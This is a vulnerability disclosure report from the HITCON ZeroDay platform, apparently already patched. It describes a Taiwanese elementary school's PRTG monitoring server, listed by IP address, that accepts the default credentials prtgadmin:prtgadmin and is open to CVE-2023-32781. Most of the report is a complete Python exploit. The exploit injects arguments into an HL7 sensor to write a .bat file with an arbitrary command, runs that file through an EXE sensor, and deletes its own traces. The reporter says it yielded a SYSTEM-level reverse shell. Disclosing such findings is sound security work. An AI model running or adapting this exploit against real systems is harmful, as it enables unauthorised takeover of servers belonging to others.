Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2025-00961
- Vendor: 新北市永吉國民小學
- Title: 新北市永吉國民小學 PRTG 弱密碼+RCE
- Introduction: PRTG 弱密碼+RCE
處理狀態
目前狀態
公開
Last Update : 2025/09/25
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2025/08/12 18:25:52 : 新提交 (由 anonymous 更新此狀態)
- 2025/08/14 21:28:40 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/08/26 15:53:04 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/08/26 15:53:04 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/08/26 15:53:04 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/09/17 10:22:00 : 已修補 (由 組織帳號 更新此狀態)
- 2025/09/25 03:00:10 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2025-00961
- 通報者:xcultivation (anonymous)
- 風險:嚴重
- 類型:遠端命令執行 (Remote Code Execution)
參考資料
攻擊者可經由該漏洞取得主機完整權限、任意寫入檔案及取得大量內網資訊。
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
http://163.20.104.238
敘述
進入網址就顯示帳號密碼為 prtgadmin:prtgadmin
使用版本受到有 CVE-2023-32781, 可以RCE
PoC
編寫腳本
#!/usr/bin/env python3
import argparse
import random
import string
import re
import sys
import urllib.parse
import requests
requests.packages.urllib3.disable_warnings()
def randstr(n=8):
return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(n))
def get_csrf(sess, base):
r = sess.get(f"{base}/welcome.htm", verify=False)
if r.status_code != 200:
raise RuntimeError(f"Failed to GET welcome.htm: {r.status_code}")
m = re.search(r'csrf-token"\s+content="([^"]+)"', r.text)
if not m:
raise RuntimeError("CSRF token not found")
return m.group(1)
def login(sess, base, username, password):
r = sess.post(f"{base}/public/checklogin.htm",
data={"username": username, "password": password},
allow_redirects=False, verify=False)
if r.status_code != 302 or "Set-Cookie" not in str(r.headers):
raise RuntimeError("Login failed")
return True
def add_hl7_sensor(sess, base, csrf, device_id, bat_name, cmd):
# 將命令塞進 hl7file_;將 -debug 注入到 Receiving Facility (recvfac_)
sensor_name = randstr(10)
recvapp = randstr(5)
recvfac_injection = f'{randstr(5)}" -debug="..\\Custom Sensors\\EXE\\{bat_name}" -recvapp="{recvapp}'
params = {
"name_": sensor_name,
"parenttags_": "",
"tags_": "dicom hl7",
"priority_": "3",
"port_": "104",
"timeout_": "60",
"override_": "0",
"sendapp_": randstr(4),
"sendfac_": randstr(4),
"recvapp_": recvapp,
"recvfac_": recvfac_injection,
# 把你的命令塞進 .bat 內容(中間那段)
"hl7file_": f"ADT_& {cmd} & A08.hl7|ADT_A08.hl7||",
"hl7filename": "",
# 掃描頻率:保持預設即可
"intervalgroup": "0",
"interval_": "60|60 seconds",
"errorintervalsdown_": "1",
"inherittriggers": "1",
"id": str(device_id), # 目標 Device ID(例如 Local Probe Device)
"sensortype": "hl7",
"tmpid": "2",
"anti-csrf-token": csrf
}
r = sess.post(f"{base}/addsensor5.htm", data=params, allow_redirects=False, verify=False)
if r.status_code != 302:
raise RuntimeError(f"Add HL7 sensor failed (HTTP {r.status_code})")
return sensor_name
def find_sensor_id_by_name(sess, base, device_id, sensor_name):
# 從裝置綜覽裡把剛建立的 sensor id 撈出來
r = sess.get(f"{base}/controls/deviceoverview.htm", params={"id": device_id}, verify=False)
if r.status_code != 200:
raise RuntimeError(f"deviceoverview.htm failed: {r.status_code}")
m = re.search(rf'id=([0-9]+)">{re.escape(sensor_name)}', r.text)
if not m:
return None
return m.group(1)
def scannow(sess, base, csrf, sensor_id):
headers = {
"anti-csrf-token": csrf,
"X-Requested-With": "XMLHttpRequest"
}
r = sess.post(f"{base}/api/scannow.htm", data={"id": sensor_id}, headers=headers, verify=False)
if r.status_code != 200:
raise RuntimeError(f"scannow failed: {r.status_code}")
return True
def add_exe_sensor(sess, base, csrf, device_id, bat_name):
sensor_name = randstr(10)
params = {
"name_": sensor_name,
"parenttags_": "",
"tags_": "exesensor",
"priority_": "3",
"scriptplaceholdergroup": "1",
"scriptplaceholder1description_": "",
"scriptplaceholder1_": "",
"scriptplaceholder2description_": "",
"scriptplaceholder2_": "",
"scriptplaceholder3description_": "",
"scriptplaceholder3_": "",
"scriptplaceholder4description_": "",
"scriptplaceholder4_": "",
"scriptplaceholder5description_": "",
"scriptplaceholder5_": "",
# 讓 EXE/Script 指向剛才寫進 EXE 目錄的 .bat
"exefile_": f"{bat_name}|{bat_name}||",
"exefilelabel": "",
"exeparams_": "",
"environment_": "0",
"usewindowsauthentication_": "0",
"mutexname_": "",
"timeout_": "60",
"valuetype_": "0",
"channel_": "Value",
"unit_": "#",
"monitorchange_": "0",
"writeresult_": "0",
"intervalgroup": "0",
"interval_": "43200|12 hours",
"errorintervalsdown_": "1",
"inherittriggers": "1",
"id": str(device_id),
"sensortype": "exe",
"tmpid": "6",
"anti-csrf-token": csrf
}
r = sess.post(f"{base}/addsensor5.htm", data=params, allow_redirects=False, verify=False)
if r.status_code != 302:
raise RuntimeError(f"Add EXE sensor failed (HTTP {r.status_code})")
return sensor_name
def delete_object(sess, base, csrf, obj_id):
headers = {
"anti-csrf-token": csrf,
"X-Requested-With": "XMLHttpRequest"
}
r = sess.post(f"{base}/api/deleteobject.htm", data={"id": obj_id, "approve": 1}, headers=headers, verify=False)
return r.status_code == 200
def main():
ap = argparse.ArgumentParser(description="PRTG CVE-2023-32781 Python PoC (HL7 -debug write + EXE run)")
ap.add_argument("--base", required=True, help="Base URL, e.g., https://prtg.local or https://1.2.3.4")
ap.add_argument("--user", required=True, help="Username")
ap.add_argument("--pass", dest="pwd", required=True, help="Password")
ap.add_argument("--device-id", default="40", help="Target Device ID (default 40 = often Local Probe Device)")
ap.add_argument("--cmd", required=True, help='Command to execute (e.g., "ping 1.2.3.4" or "powershell -c ...")')
ap.add_argument("--no-cleanup", action="store_true", help="Do not delete created sensors")
args = ap.parse_args()
base = args.base.rstrip("/")
sess = requests.Session()
print("[*] Logging in...")
login(sess, base, args.user, args.pwd)
print("[*] Fetching CSRF token...")
csrf = get_csrf(sess, base)
bat_name = f"{randstr(10)}.bat"
# 把命令加上自刪,減少痕跡(可自行移除)
cmd = f"{args.cmd} & del %0"
print("[*] Creating HL7 sensor with -debug injection to write", bat_name)
hl7_name = add_hl7_sensor(sess, base, csrf, args.device_id, bat_name, cmd)
print("[*] Locating HL7 sensor id...")
hl7_id = None
# 簡單重試一下(建立後可能要 1-2 秒才出現在頁面)
for _ in range(10):
hl7_id = find_sensor_id_by_name(sess, base, args.device_id, hl7_name)
if hl7_id:
break
import time; time.sleep(1)
if not hl7_id:
raise RuntimeError("Failed to find created HL7 sensor id")
print(f"[+] HL7 sensor id = {hl7_id}")
print("[*] Triggering HL7 sensor (scannow) to write the .bat...")
scannow(sess, base, csrf, hl7_id)
print("[+] .bat should be written into Custom Sensors\\EXE")
print("[*] Creating EXE/Script sensor to run the .bat...")
exe_name = add_exe_sensor(sess, base, csrf, args.device_id, bat_name)
print("[*] Locating EXE/Script sensor id...")
exe_id = None
for _ in range(10):
exe_id = find_sensor_id_by_name(sess, base, args.device_id, exe_name)
if exe_id:
break
import time; time.sleep(1)
if not exe_id:
raise RuntimeError("Failed to find created EXE/Script sensor id")
print(f"[+] EXE/Script sensor id = {exe_id}")
print("[*] Triggering EXE/Script sensor (scannow) to execute the .bat...")
scannow(sess, base, csrf, exe_id)
print("[+] Execution triggered. Check your command effects/output.")
if not args.no_cleanup:
print("[*] Cleaning up sensors...")
# 注意刪除順序:先刪 EXE,再刪 HL7
delete_object(sess, base, csrf, exe_id)
delete_object(sess, base, csrf, hl7_id)
print("[+] Cleanup done.")
else:
print("[*] Skipped cleanup as requested.")
if __name__ == "__main__":
try:
main()
except Exception as e:
print(f"[!] Error: {e}")
sys.exit(1)
拿到reverse shell,為 nt authority\system 使用者
修補建議
1. 更新 PRTG 至最新版本
2. 更改 PRTG 為強密碼
3. 掃毒
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。